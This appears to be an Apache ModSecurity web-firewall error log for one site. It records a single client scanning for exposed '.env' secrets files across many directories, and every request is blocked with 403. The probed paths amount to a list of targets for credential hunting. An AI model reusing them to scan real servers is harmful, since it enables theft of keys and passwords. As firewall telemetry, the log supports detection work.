[Sun Oct 25 11:55:20.999092 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4maP7eNafb1CKd8kL_fAAAAAE"]
[Sun Oct 25 11:55:20.999220 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4maP7eNafb1CKd8kL_fAAAAAE"]
[Sun Oct 25 11:55:20.999473 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4maP7eNafb1CKd8kL_fAAAAAE"]
[Sun Oct 25 11:55:20.916911 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4maJKK2zg-7ML96ykGeAAAAB4"]
[Sun Oct 25 11:55:21.000125 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4maJKK2zg-7ML96ykGeAAAAB4"]
[Sun Oct 25 11:55:21.000372 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4maJKK2zg-7ML96ykGeAAAAB4"]
[Sun Oct 25 11:55:21.201504 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4maVHudjrSkDPIE3RAYAAAAA4"]
[Sun Oct 25 11:55:21.201750 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4maVHudjrSkDPIE3RAYAAAAA4"]
[Sun Oct 25 11:55:21.202017 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4maVHudjrSkDPIE3RAYAAAAA4"]
[Sun Oct 25 11:55:21.230099 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4madC9X1saEIOersrHRQAAABY"]
[Sun Oct 25 11:55:21.734981 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4madC9X1saEIOersrHRQAAABY"]
[Sun Oct 25 11:55:21.301638 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4maTny6hllpa988e1vGAAAAAI"]
[Sun Oct 25 11:55:22.158520 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4maTny6hllpa988e1vGAAAAAI"]
[Sun Oct 25 11:55:22.158906 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4maTny6hllpa988e1vGAAAAAI"]
[Sun Oct 25 11:55:21.305098 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4maSzQrtqHU7fxegxVpAAAAAU"]
[Sun Oct 25 11:55:22.159512 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4maSzQrtqHU7fxegxVpAAAAAU"]
[Sun Oct 25 11:55:22.159870 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4maSzQrtqHU7fxegxVpAAAAAU"]
[Sun Oct 25 11:55:21.305180 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4maZa7jgKKz5LnrbxLFwAAAAQ"]
[Sun Oct 25 11:55:22.167568 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4maZa7jgKKz5LnrbxLFwAAAAQ"]
[Sun Oct 25 11:55:22.167847 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4maZa7jgKKz5LnrbxLFwAAAAQ"]
[Sun Oct 25 11:55:21.305836 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4maTxOmpmOl2xtX8jangAAAB8"]
[Sun Oct 25 11:55:22.206528 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4maTxOmpmOl2xtX8jangAAAB8"]
[Sun Oct 25 11:55:22.213232 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4maTxOmpmOl2xtX8jangAAAB8"]
[Sun Oct 25 11:55:21.305994 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4maf7eNafb1CKd8kL_fQAAAAE"]
[Sun Oct 25 11:55:22.272300 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4maf7eNafb1CKd8kL_fQAAAAE"]
[Sun Oct 25 11:55:22.272955 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4maf7eNafb1CKd8kL_fQAAAAE"]
[Sun Oct 25 11:55:21.369307 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4maV9_xErUkx7sxeSd5gAAABQ"]
[Sun Oct 25 11:55:22.515412 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4maV9_xErUkx7sxeSd5gAAABQ"]
[Sun Oct 25 11:55:21.370410 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4mab-adcjghMmnEGAMPwAAABI"]
[Sun Oct 25 11:55:22.923713 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4mab-adcjghMmnEGAMPwAAABI"]
[Sun Oct 25 11:55:21.428968 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4maZKK2zg-7ML96ykGeQAAAB4"]
[Sun Oct 25 11:55:22.937435 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4maZKK2zg-7ML96ykGeQAAAB4"]
[Sun Oct 25 11:55:22.937990 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4maZKK2zg-7ML96ykGeQAAAB4"]
[Sun Oct 25 11:55:22.953176 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4mab-adcjghMmnEGAMPwAAABI"]
[Sun Oct 25 11:55:22.956368 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maizQrtqHU7fxegxVpQAAAAU"]
[Sun Oct 25 11:55:22.956698 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maizQrtqHU7fxegxVpQAAAAU"]
[Sun Oct 25 11:55:22.956928 2026] [security2:error] [pid 2858943:tid 2858943] [client 35.198.57.29:48252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maizQrtqHU7fxegxVpQAAAAU"]
[Sun Oct 25 11:55:21.306655 2026] [security2:error] [pid 2858955:tid 2858955] [client 35.198.57.29:48372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4maeq7T0HAYyztfCsvegAAABE"]
[Sun Oct 25 11:55:22.959771 2026] [security2:error] [pid 2858955:tid 2858955] [client 35.198.57.29:48372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4maeq7T0HAYyztfCsvegAAABE"]
[Sun Oct 25 11:55:22.960075 2026] [security2:error] [pid 2858955:tid 2858955] [client 35.198.57.29:48372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4maeq7T0HAYyztfCsvegAAABE"]
